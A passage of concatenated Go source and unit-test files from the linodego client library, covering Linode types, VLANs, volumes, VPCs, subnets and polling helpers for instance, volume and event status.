"github.com/stretchr/testify/assert" "testing" "golang.org/x/exp/slices" ) func TestLinodeTypes_List(t *testing.T) { // Load the fixture data for types fixtureData, err := fixtures.GetFixture("linode_types_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("linode/types", fixtureData) types, err := base.Client.ListTypes(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) // Use slices.IndexFunc to find the index of the specific type index := slices.IndexFunc(types, func(t linodego.LinodeType) bool { return t.ID == "g6-nanode-1" }) if index == -1 { t.Errorf("Expected type 'g6-nanode-1' to be in the response, but it was not found") } else { nanodeType := types[index] assert.Equal(t, "nanode", string(nanodeType.Class), "Expected class to be 'nanode'") assert.Equal(t, 1, nanodeType.VCPUs, "Expected VCPUs for 'g6-nanode-1' to be 1") assert.Equal(t, 250, nanodeType.Transfer, "Expected transfer for 'g6-nanode-1' to be 250GB") assert.NotNil(t, nanodeType.Price, "Expected 'g6-nanode-1' to have a price object") if nanodeType.Price != nil { assert.Equal(t, float32(5), nanodeType.Price.Monthly, "Expected monthly price for 'g6-nanode-1' to be $5") } } } func TestLinodeType_Get(t *testing.T) { // Load the fixture data for a specific type fixtureData, err := fixtures.GetFixture("linode_type_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) typeID := "g6-standard-2" base.MockGet(fmt.Sprintf("linode/types/%s", typeID), fixtureData) typeObj, err := base.Client.GetType(context.Background(), typeID) assert.NoError(t, err) assert.Equal(t, typeID, typeObj.ID, "Expected type ID to match") assert.Equal(t, "standard", string(typeObj.Class), "Expected class to be 'standard'") assert.Equal(t, 2, typeObj.VCPUs, "Expected VCPUs to be 2") assert.Equal(t, 4000, typeObj.Disk, "Expected disk to be 4000MB") assert.Equal(t, 4000, typeObj.Memory, "Expected memory to be 4000MB") assert.NotNil(t, typeObj.Price, "Expected type to have a price object") if typeObj.Price != nil { assert.Equal(t, float32(10), typeObj.Price.Monthly, "Expected monthly price to be $10") } assert.NotNil(t, typeObj.Addons, "Expected type to have addons") if typeObj.Addons != nil && typeObj.Addons.Backups != nil { assert.NotNil(t, typeObj.Addons.Backups.Price, "Expected backups to have a price object") } } golang-github-linode-linodego-1.47.0/test/unit/util_test.go000066400000000000000000000015201474652371000237100ustar00rootroot00000000000000package unit import ( "fmt" "net/url" "regexp" "testing" "github.com/linode/linodego" "github.com/linode/linodego/internal/testutil" "github.com/jarcoal/httpmock" ) func mockRequestBodyValidate(t *testing.T, expected interface{}, response interface{}) httpmock.Responder { return testutil.MockRequestBodyValidate(t, expected, response) } func mockRequestURL(t *testing.T, path string) *regexp.Regexp { return testutil.MockRequestURL(path) } func createMockClient(t *testing.T) *linodego.Client { return testutil.CreateMockClient(t, linodego.NewClient) } func formatMockAPIPath(format string, args ...any) string { escapedArgs := make([]any, len(args)) for i, arg := range args { if typeStr, ok := arg.(string); ok { arg = url.PathEscape(typeStr) } escapedArgs[i] = arg } return fmt.Sprintf(format, escapedArgs...) } golang-github-linode-linodego-1.47.0/test/unit/vlan_test.go000066400000000000000000000035401474652371000236770ustar00rootroot00000000000000package unit import ( "context" "fmt" "github.com/linode/linodego" "github.com/stretchr/testify/assert" "golang.org/x/exp/slices" "testing" ) func TestVLAN_List(t *testing.T) { // Load the fixture data for VLANs fixtureData, err := fixtures.GetFixture("vlans_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) // Mock the GET request base.MockGet("networking/vlans", fixtureData) vlans, err := base.Client.ListVLANs(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, vlans, "Expected non-empty VLAN list") // Use slices.IndexFunc to find the index of the specific VLAN index := slices.IndexFunc(vlans, func(v linodego.VLAN) bool { return v.Label == "test-vlan" }) if index == -1 { t.Errorf("Expected VLAN 'test-vlan' to be in the response, but it was not found") } else { testVLAN := vlans[index] assert.Equal(t, "us-east", testVLAN.Region, "Expected region to be 'us-east'") assert.Contains(t, testVLAN.Linodes, 12345, "Expected Linodes to include 12345") assert.NotNil(t, testVLAN.Created, "Expected 'test-vlan' to have a created timestamp") } } func TestVLAN_GetIPAMAddress(t *testing.T) { // Load the fixture data for VLAN IPAM address fixtureData, err := fixtures.GetFixture("vlan_get_ipam_address") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) linodeID := 12345 vlanLabel := "test-vlan" // Mock the GET request base.MockGet(fmt.Sprintf("linode/instances/%d/configs", linodeID), fixtureData) ipamAddress, err := base.Client.GetVLANIPAMAddress(context.Background(), linodeID, vlanLabel) assert.NoError(t, err) assert.NotEmpty(t, ipamAddress, "Expected non-empty IPAM address") // Verify the returned IPAM address assert.Equal(t, "10.0.0.1/24", ipamAddress, "Expected IPAM address to be '10.0.0.1/24'") } golang-github-linode-linodego-1.47.0/types.go000066400000000000000000000062031474652371000211050ustar00rootroot00000000000000package linodego import ( "context" "net/url" ) // LinodeType represents a linode type object type LinodeType struct { ID string `json:"id"` Disk int `json:"disk"` Class LinodeTypeClass `json:"class"` // enum: nanode, standard, highmem, dedicated, gpu Price *LinodePrice `json:"price"` Label string `json:"label"` Addons *LinodeAddons `json:"addons"` RegionPrices []LinodeRegionPrice `json:"region_prices"` NetworkOut int `json:"network_out"` Memory int `json:"memory"` Transfer int `json:"transfer"` VCPUs int `json:"vcpus"` GPUs int `json:"gpus"` Successor string `json:"successor"` AcceleratedDevices int `json:"accelerated_devices"` } // LinodePrice represents a linode type price object type LinodePrice struct { Hourly float32 `json:"hourly"` Monthly float32 `json:"monthly"` } // LinodeBackupsAddon represents a linode backups addon object type LinodeBackupsAddon struct { Price *LinodePrice `json:"price"` RegionPrices []LinodeRegionPrice `json:"region_prices"` } // LinodeAddons represent the linode addons object type LinodeAddons struct { Backups *LinodeBackupsAddon `json:"backups"` } // LinodeRegionPrice represents an individual type or addon // price exception for a region. type LinodeRegionPrice struct { ID string `json:"id"` Hourly float32 `json:"hourly"` Monthly float32 `json:"monthly"` } // LinodeTypeClass constants start with Class and include Linode API Instance Type Classes type LinodeTypeClass string // LinodeTypeClass contants are the Instance Type Classes that an Instance Type can be assigned const ( ClassNanode LinodeTypeClass = "nanode" ClassStandard LinodeTypeClass = "standard" ClassHighmem LinodeTypeClass = "highmem" ClassDedicated LinodeTypeClass = "dedicated" ClassGPU LinodeTypeClass = "gpu" ) // ListTypes lists linode types. This endpoint is cached by default. func (c *Client) ListTypes(ctx context.Context, opts *ListOptions) ([]LinodeType, error) { e := "linode/types" endpoint, err := generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LinodeType), nil } response, err := getPaginatedResults[LinodeType](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } // GetType gets the type with the provided ID. This endpoint is cached by default. func (c *Client) GetType(ctx context.Context, typeID string) (*LinodeType, error) { e := formatAPIPath("linode/types/%s", url.PathEscape(typeID)) if result := c.getCachedResponse(e); result != nil { result := result.(LinodeType) return &result, nil } response, err := doGETRequest[LinodeType](ctx, c, e) if err != nil { return nil, err } c.addCachedResponse(e, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/version.go000066400000000000000000000012621474652371000214260ustar00rootroot00000000000000package linodego import ( "fmt" "runtime/debug" ) const packagePath = "github.com/linode/linodego" var ( Version = "dev" // DefaultUserAgent is the default User-Agent sent in HTTP request headers DefaultUserAgent string ) // init attempts to source the version from the build info injected // at runtime and sets the DefaultUserAgent. func init() { buildInfo, ok := debug.ReadBuildInfo() if ok { for _, dep := range buildInfo.Deps { if dep.Path == packagePath { if dep.Replace != nil { Version = dep.Replace.Version } Version = dep.Version break } } } DefaultUserAgent = fmt.Sprintf("linodego/%s https://github.com/linode/linodego", Version) } golang-github-linode-linodego-1.47.0/vlans.go000066400000000000000000000032241474652371000210640ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/linode/linodego/internal/parseabletime" ) type VLAN struct { Label string `json:"label"` Linodes []int `json:"linodes"` Region string `json:"region"` Created *time.Time `json:"-"` } // UnmarshalJSON for VLAN responses func (v *VLAN) UnmarshalJSON(b []byte) error { type Mask VLAN p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) return nil } // ListVLANs returns a paginated list of VLANs func (c *Client) ListVLANs(ctx context.Context, opts *ListOptions) ([]VLAN, error) { response, err := getPaginatedResults[VLAN](ctx, c, "networking/vlans", opts) return response, err } // GetVLANIPAMAddress returns the IPAM Address for a given VLAN Label as a string (10.0.0.1/24) func (c *Client) GetVLANIPAMAddress(ctx context.Context, linodeID int, vlanLabel string) (string, error) { f := Filter{} f.AddField(Eq, "interfaces", vlanLabel) vlanFilter, err := f.MarshalJSON() if err != nil { return "", fmt.Errorf("Unable to convert VLAN label: %s to a filterable object: %w", vlanLabel, err) } cfgs, err := c.ListInstanceConfigs(ctx, linodeID, &ListOptions{Filter: string(vlanFilter)}) if err != nil { return "", fmt.Errorf("Fetching configs for instance %v failed: %w", linodeID, err) } interfaces := cfgs[0].Interfaces for _, face := range interfaces { if face.Label == vlanLabel { return face.IPAMAddress, nil } } return "", fmt.Errorf("Failed to find IPAMAddress for VLAN: %s", vlanLabel) } golang-github-linode-linodego-1.47.0/volumes.go000066400000000000000000000136141474652371000214370ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // VolumeStatus indicates the status of the Volume type VolumeStatus string const ( // VolumeCreating indicates the Volume is being created and is not yet available for use VolumeCreating VolumeStatus = "creating" // VolumeActive indicates the Volume is online and available for use VolumeActive VolumeStatus = "active" // VolumeResizing indicates the Volume is in the process of upgrading its current capacity VolumeResizing VolumeStatus = "resizing" // VolumeContactSupport indicates there is a problem with the Volume. A support ticket must be opened to resolve the issue VolumeContactSupport VolumeStatus = "contact_support" ) // Volume represents a linode volume object type Volume struct { ID int `json:"id"` Label string `json:"label"` Status VolumeStatus `json:"status"` Region string `json:"region"` Size int `json:"size"` LinodeID *int `json:"linode_id"` FilesystemPath string `json:"filesystem_path"` Tags []string `json:"tags"` HardwareType string `json:"hardware_type"` LinodeLabel string `json:"linode_label"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` // Note: Block Storage Disk Encryption is not currently available to all users. Encryption string `json:"encryption"` } // VolumeCreateOptions fields are those accepted by CreateVolume type VolumeCreateOptions struct { Label string `json:"label,omitempty"` Region string `json:"region,omitempty"` LinodeID int `json:"linode_id,omitempty"` ConfigID int `json:"config_id,omitempty"` // The Volume's size, in GiB. Minimum size is 10GiB, maximum size is 10240GiB. A "0" value will result in the default size. Size int `json:"size,omitempty"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` PersistAcrossBoots *bool `json:"persist_across_boots,omitempty"` Encryption string `json:"encryption,omitempty"` } // VolumeUpdateOptions fields are those accepted by UpdateVolume type VolumeUpdateOptions struct { Label string `json:"label,omitempty"` Tags *[]string `json:"tags,omitempty"` } // VolumeAttachOptions fields are those accepted by AttachVolume type VolumeAttachOptions struct { LinodeID int `json:"linode_id"` ConfigID int `json:"config_id,omitempty"` PersistAcrossBoots *bool `json:"persist_across_boots,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (v *Volume) UnmarshalJSON(b []byte) error { type Mask Volume p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) v.Updated = (*time.Time)(p.Updated) return nil } // GetUpdateOptions converts a Volume to VolumeUpdateOptions for use in UpdateVolume func (v Volume) GetUpdateOptions() (updateOpts VolumeUpdateOptions) { updateOpts.Label = v.Label updateOpts.Tags = &v.Tags return } // GetCreateOptions converts a Volume to VolumeCreateOptions for use in CreateVolume func (v Volume) GetCreateOptions() (createOpts VolumeCreateOptions) { createOpts.Label = v.Label createOpts.Tags = v.Tags createOpts.Region = v.Region createOpts.Size = v.Size if v.LinodeID != nil && *v.LinodeID > 0 { createOpts.LinodeID = *v.LinodeID } return } // ListVolumes lists Volumes func (c *Client) ListVolumes(ctx context.Context, opts *ListOptions) ([]Volume, error) { response, err := getPaginatedResults[Volume](ctx, c, "volumes", opts) return response, err } // GetVolume gets the template with the provided ID func (c *Client) GetVolume(ctx context.Context, volumeID int) (*Volume, error) { e := formatAPIPath("volumes/%d", volumeID) response, err := doGETRequest[Volume](ctx, c, e) return response, err } // AttachVolume attaches a volume to a Linode instance func (c *Client) AttachVolume(ctx context.Context, volumeID int, opts *VolumeAttachOptions) (*Volume, error) { e := formatAPIPath("volumes/%d/attach", volumeID) response, err := doPOSTRequest[Volume](ctx, c, e, opts) return response, err } // CreateVolume creates a Linode Volume func (c *Client) CreateVolume(ctx context.Context, opts VolumeCreateOptions) (*Volume, error) { e := "volumes" response, err := doPOSTRequest[Volume](ctx, c, e, opts) return response, err } // UpdateVolume updates the Volume with the specified id func (c *Client) UpdateVolume(ctx context.Context, volumeID int, opts VolumeUpdateOptions) (*Volume, error) { e := formatAPIPath("volumes/%d", volumeID) response, err := doPUTRequest[Volume](ctx, c, e, opts) return response, err } // CloneVolume clones a Linode volume func (c *Client) CloneVolume(ctx context.Context, volumeID int, label string) (*Volume, error) { opts := map[string]any{ "label": label, } e := formatAPIPath("volumes/%d/clone", volumeID) response, err := doPOSTRequest[Volume](ctx, c, e, opts) return response, err } // DetachVolume detaches a Linode volume func (c *Client) DetachVolume(ctx context.Context, volumeID int) error { e := formatAPIPath("volumes/%d/detach", volumeID) _, err := doPOSTRequest[Volume, any](ctx, c, e) return err } // ResizeVolume resizes an instance to new Linode type func (c *Client) ResizeVolume(ctx context.Context, volumeID int, size int) error { opts := map[string]int{ "size": size, } e := formatAPIPath("volumes/%d/resize", volumeID) _, err := doPOSTRequest[Volume](ctx, c, e, opts) return err } // DeleteVolume deletes the Volume with the specified id func (c *Client) DeleteVolume(ctx context.Context, volumeID int) error { e := formatAPIPath("volumes/%d", volumeID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/volumes_types.go000066400000000000000000000020311474652371000226520ustar00rootroot00000000000000package linodego import ( "context" ) // VolumeType represents a single valid Volume type. type VolumeType struct { baseType[VolumeTypePrice, VolumeTypeRegionPrice] } // VolumeTypePrice represents the base hourly and monthly prices // for a volume type entry. type VolumeTypePrice struct { baseTypePrice } // VolumeTypeRegionPrice represents the regional hourly and monthly prices // for a volume type entry. type VolumeTypeRegionPrice struct { baseTypeRegionPrice } // ListVolumeTypes lists Volume types. This endpoint is cached by default. func (c *Client) ListVolumeTypes(ctx context.Context, opts *ListOptions) ([]VolumeType, error) { e := "volumes/types" endpoint, err := generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]VolumeType), nil } response, err := getPaginatedResults[VolumeType](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/vpc.go000066400000000000000000000050401474652371000205270ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) type VPC struct { ID int `json:"id"` Label string `json:"label"` Description string `json:"description"` Region string `json:"region"` Subnets []VPCSubnet `json:"subnets"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } type VPCCreateOptions struct { Label string `json:"label"` Description string `json:"description,omitempty"` Region string `json:"region"` Subnets []VPCSubnetCreateOptions `json:"subnets,omitempty"` } type VPCUpdateOptions struct { Label string `json:"label,omitempty"` Description string `json:"description,omitempty"` } func (v VPC) GetCreateOptions() VPCCreateOptions { subnetCreations := make([]VPCSubnetCreateOptions, len(v.Subnets)) for i, s := range v.Subnets { subnetCreations[i] = s.GetCreateOptions() } return VPCCreateOptions{ Label: v.Label, Description: v.Description, Region: v.Region, Subnets: subnetCreations, } } func (v VPC) GetUpdateOptions() VPCUpdateOptions { return VPCUpdateOptions{ Label: v.Label, Description: v.Description, } } func (v *VPC) UnmarshalJSON(b []byte) error { type Mask VPC p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) v.Updated = (*time.Time)(p.Updated) return nil } func (c *Client) CreateVPC( ctx context.Context, opts VPCCreateOptions, ) (*VPC, error) { e := "vpcs" response, err := doPOSTRequest[VPC](ctx, c, e, opts) return response, err } func (c *Client) GetVPC(ctx context.Context, vpcID int) (*VPC, error) { e := formatAPIPath("/vpcs/%d", vpcID) response, err := doGETRequest[VPC](ctx, c, e) return response, err } func (c *Client) ListVPCs(ctx context.Context, opts *ListOptions) ([]VPC, error) { response, err := getPaginatedResults[VPC](ctx, c, "vpcs", opts) return response, err } func (c *Client) UpdateVPC( ctx context.Context, vpcID int, opts VPCUpdateOptions, ) (*VPC, error) { e := formatAPIPath("vpcs/%d", vpcID) response, err := doPUTRequest[VPC](ctx, c, e, opts) return response, err } func (c *Client) DeleteVPC(ctx context.Context, vpcID int) error { e := formatAPIPath("vpcs/%d", vpcID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/vpc_ips.go000066400000000000000000000011031474652371000213760ustar00rootroot00000000000000package linodego import ( "context" "fmt" ) // ListAllVPCIPAddresses gets the list of all IP addresses of all VPCs in the Linode account. func (c *Client) ListAllVPCIPAddresses( ctx context.Context, opts *ListOptions, ) ([]VPCIP, error) { return getPaginatedResults[VPCIP](ctx, c, "vpcs/ips", opts) } // ListVPCIPAddresses gets the list of all IP addresses of a specific VPC. func (c *Client) ListVPCIPAddresses( ctx context.Context, vpcID int, opts *ListOptions, ) ([]VPCIP, error) { return getPaginatedResults[VPCIP](ctx, c, fmt.Sprintf("vpcs/%d/ips", vpcID), opts) } golang-github-linode-linodego-1.47.0/vpc_subnet.go000066400000000000000000000054171474652371000221170ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // VPCSubnetLinodeInterface represents an interface on a Linode that is currently // assigned to this VPC subnet. type VPCSubnetLinodeInterface struct { ID int `json:"id"` Active bool `json:"active"` } // VPCSubnetLinode represents a Linode currently assigned to a VPC subnet. type VPCSubnetLinode struct { ID int `json:"id"` Interfaces []VPCSubnetLinodeInterface `json:"interfaces"` } type VPCSubnet struct { ID int `json:"id"` Label string `json:"label"` IPv4 string `json:"ipv4"` Linodes []VPCSubnetLinode `json:"linodes"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } type VPCSubnetCreateOptions struct { Label string `json:"label"` IPv4 string `json:"ipv4"` } type VPCSubnetUpdateOptions struct { Label string `json:"label"` } func (v *VPCSubnet) UnmarshalJSON(b []byte) error { type Mask VPCSubnet p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) v.Updated = (*time.Time)(p.Updated) return nil } func (v VPCSubnet) GetCreateOptions() VPCSubnetCreateOptions { return VPCSubnetCreateOptions{ Label: v.Label, IPv4: v.IPv4, } } func (v VPCSubnet) GetUpdateOptions() VPCSubnetUpdateOptions { return VPCSubnetUpdateOptions{Label: v.Label} } func (c *Client) CreateVPCSubnet( ctx context.Context, opts VPCSubnetCreateOptions, vpcID int, ) (*VPCSubnet, error) { e := formatAPIPath("vpcs/%d/subnets", vpcID) response, err := doPOSTRequest[VPCSubnet](ctx, c, e, opts) return response, err } func (c *Client) GetVPCSubnet( ctx context.Context, vpcID int, subnetID int, ) (*VPCSubnet, error) { e := formatAPIPath("vpcs/%d/subnets/%d", vpcID, subnetID) response, err := doGETRequest[VPCSubnet](ctx, c, e) return response, err } func (c *Client) ListVPCSubnets( ctx context.Context, vpcID int, opts *ListOptions, ) ([]VPCSubnet, error) { response, err := getPaginatedResults[VPCSubnet](ctx, c, formatAPIPath("vpcs/%d/subnets", vpcID), opts) return response, err } func (c *Client) UpdateVPCSubnet( ctx context.Context, vpcID int, subnetID int, opts VPCSubnetUpdateOptions, ) (*VPCSubnet, error) { e := formatAPIPath("vpcs/%d/subnets/%d", vpcID, subnetID) response, err := doPUTRequest[VPCSubnet](ctx, c, e, opts) return response, err } func (c *Client) DeleteVPCSubnet(ctx context.Context, vpcID int, subnetID int) error { e := formatAPIPath("vpcs/%d/subnets/%d", vpcID, subnetID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/waitfor.go000066400000000000000000000563321474652371000214240ustar00rootroot00000000000000package linodego import ( "context" "fmt" "log" "net/http" "slices" "strconv" "time" "golang.org/x/text/cases" "golang.org/x/text/language" ) var englishTitle = cases.Title(language.English) type EventPoller struct { EntityID any EntityType EntityType // Type is excluded here because it is implicitly determined // by the event action. SecondaryEntityID any Action EventAction client Client previousEvents map[int]bool } // WaitForInstanceStatus waits for the Linode instance to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForInstanceStatus(ctx context.Context, instanceID int, status InstanceStatus, timeoutSeconds int) (*Instance, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: instance, err := client.GetInstance(ctx, instanceID) if err != nil { return instance, err } complete := (instance.Status == status) if complete { return instance, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Instance %d status %s: %w", instanceID, status, ctx.Err()) } } } // WaitForInstanceDiskStatus waits for the Linode instance disk to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForInstanceDiskStatus(ctx context.Context, instanceID int, diskID int, status DiskStatus, timeoutSeconds int) (*InstanceDisk, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: // GetInstanceDisk will 404 on newly created disks. use List instead. // disk, err := client.GetInstanceDisk(ctx, instanceID, diskID) disks, err := client.ListInstanceDisks(ctx, instanceID, nil) if err != nil { return nil, err } for _, disk := range disks { if disk.ID == diskID { complete := (disk.Status == status) if complete { return &disk, nil } break } } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Instance %d Disk %d status %s: %w", instanceID, diskID, status, ctx.Err()) } } } // WaitForVolumeStatus waits for the Volume to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForVolumeStatus(ctx context.Context, volumeID int, status VolumeStatus, timeoutSeconds int) (*Volume, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: volume, err := client.GetVolume(ctx, volumeID) if err != nil { return volume, err } complete := (volume.Status == status) if complete { return volume, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Volume %d status %s: %w", volumeID, status, ctx.Err()) } } } // WaitForSnapshotStatus waits for the Snapshot to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForSnapshotStatus(ctx context.Context, instanceID int, snapshotID int, status InstanceSnapshotStatus, timeoutSeconds int) (*InstanceSnapshot, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: snapshot, err := client.GetInstanceSnapshot(ctx, instanceID, snapshotID) if err != nil { return snapshot, err } complete := (snapshot.Status == status) if complete { return snapshot, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Instance %d Snapshot %d status %s: %w", instanceID, snapshotID, status, ctx.Err()) } } } // WaitForVolumeLinodeID waits for the Volume to match the desired LinodeID // before returning. An active Instance will not immediately attach or detach a volume, so // the LinodeID must be polled to determine volume readiness from the API. // WaitForVolumeLinodeID will timeout with an error after timeoutSeconds. func (client Client) WaitForVolumeLinodeID(ctx context.Context, volumeID int, linodeID *int, timeoutSeconds int) (*Volume, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: volume, err := client.GetVolume(ctx, volumeID) if err != nil { return volume, err } switch { case linodeID == nil && volume.LinodeID == nil: return volume, nil case linodeID == nil || volume.LinodeID == nil: // continue waiting case *volume.LinodeID == *linodeID: return volume, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Volume %d to have Instance %v: %w", volumeID, linodeID, ctx.Err()) } } } // WaitForLKEClusterStatus waits for the LKECluster to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForLKEClusterStatus(ctx context.Context, clusterID int, status LKEClusterStatus, timeoutSeconds int) (*LKECluster, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: cluster, err := client.GetLKECluster(ctx, clusterID) if err != nil { return cluster, err } complete := (cluster.Status == status) if complete { return cluster, nil } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Cluster %d status %s: %w", clusterID, status, ctx.Err()) } } } // LKEClusterPollOptions configures polls against LKE Clusters. type LKEClusterPollOptions struct { // Retry will cause the Poll to ignore interimittent errors Retry bool // TimeoutSeconds is the number of Seconds to wait for the poll to succeed // before exiting. TimeoutSeconds int // TansportWrapper allows adding a transport middleware function that will // wrap the LKE Cluster client's underlying http.RoundTripper. TransportWrapper func(http.RoundTripper) http.RoundTripper } type ClusterConditionOptions struct { LKEClusterKubeconfig *LKEClusterKubeconfig TransportWrapper func(http.RoundTripper) http.RoundTripper } // ClusterConditionFunc represents a function that tests a condition against an LKE cluster, // returns true if the condition has been reached, false if it has not yet been reached. type ClusterConditionFunc func(context.Context, ClusterConditionOptions) (bool, error) // WaitForLKEClusterConditions waits for the given LKE conditions to be true func (client Client) WaitForLKEClusterConditions( ctx context.Context, clusterID int, options LKEClusterPollOptions, conditions ...ClusterConditionFunc, ) error { ctx, cancel := context.WithCancel(ctx) if options.TimeoutSeconds != 0 { ctx, cancel = context.WithTimeout(ctx, time.Duration(options.TimeoutSeconds)*time.Second) } defer cancel() lkeKubeConfig, err := client.GetLKEClusterKubeconfig(ctx, clusterID) if err != nil { return fmt.Errorf("failed to get Kubeconfig for LKE cluster %d: %w", clusterID, err) } ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() conditionOptions := ClusterConditionOptions{LKEClusterKubeconfig: lkeKubeConfig, TransportWrapper: options.TransportWrapper} for _, condition := range conditions { ConditionSucceeded: for { select { case <-ticker.C: result, err := condition(ctx, conditionOptions) if err != nil { log.Printf("[WARN] Ignoring WaitForLKEClusterConditions conditional error: %s", err) if !options.Retry { return err } } if result { break ConditionSucceeded } case <-ctx.Done(): return fmt.Errorf("Error waiting for cluster %d conditions: %w", clusterID, ctx.Err()) } } } return nil } // WaitForEventFinished waits for an entity action to reach the 'finished' state // before returning. It will timeout with an error after timeoutSeconds. // If the event indicates a failure both the failed event and the error will be returned. // nolint func (client Client) WaitForEventFinished( ctx context.Context, id any, entityType EntityType, action EventAction, minStart time.Time, timeoutSeconds int, ) (*Event, error) { titledEntityType := englishTitle.String(string(entityType)) filter := Filter{ Order: Descending, OrderBy: "created", } filter.AddField(Eq, "action", action) filter.AddField(Gte, "created", minStart.UTC().Format("2006-01-02T15:04:05")) // Optimistically restrict results to page 1. We should remove this when more // precise filtering options exist. pages := 1 // The API has limitted filtering support for Event ID and Event Type // Optimize the list, if possible switch entityType { case EntityDisk, EntityDatabase, EntityLinode, EntityDomain, EntityNodebalancer: // All of the filter supported types have int ids filterableEntityID, err := strconv.Atoi(fmt.Sprintf("%v", id)) if err != nil { return nil, fmt.Errorf("error parsing Entity ID %q for optimized "+ "WaitForEventFinished EventType %q: %w", id, entityType, err) } filter.AddField(Eq, "entity.id", filterableEntityID) filter.AddField(Eq, "entity.type", entityType) } ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() if deadline, ok := ctx.Deadline(); ok { duration := time.Until(deadline) log.Printf("[INFO] Waiting %d seconds for %s events since %v for %s %v", int(duration.Seconds()), action, minStart, titledEntityType, id) } ticker := time.NewTicker(client.pollInterval) // avoid repeating log messages nextLog := "" lastLog := "" lastEventID := 0 defer ticker.Stop() for { select { case <-ticker.C: if lastEventID > 0 { filter.AddField(Gte, "id", lastEventID) } filterStr, err := filter.MarshalJSON() if err != nil { return nil, err } listOptions := NewListOptions(pages, string(filterStr)) events, err := client.ListEvents(ctx, listOptions) if err != nil { return nil, err } // If there are events for this instance + action, inspect them for _, event := range events { event := event if event.Entity == nil || event.Entity.Type != entityType { // log.Println("type mismatch", event.Entity.Type, entityType) continue } var entID string switch id := event.Entity.ID.(type) { case float64, float32: entID = fmt.Sprintf("%.f", id) case int: entID = strconv.Itoa(id) default: entID = fmt.Sprintf("%v", id) } var findID string switch id := id.(type) { case float64, float32: findID = fmt.Sprintf("%.f", id) case int: findID = strconv.Itoa(id) default: findID = fmt.Sprintf("%v", id) } if entID != findID { // log.Println("id mismatch", entID, findID) continue } if event.Created == nil { log.Printf("[WARN] event.Created is nil when API returned: %#+v", event.Created) } // This is the event we are looking for. Save our place. if lastEventID == 0 { 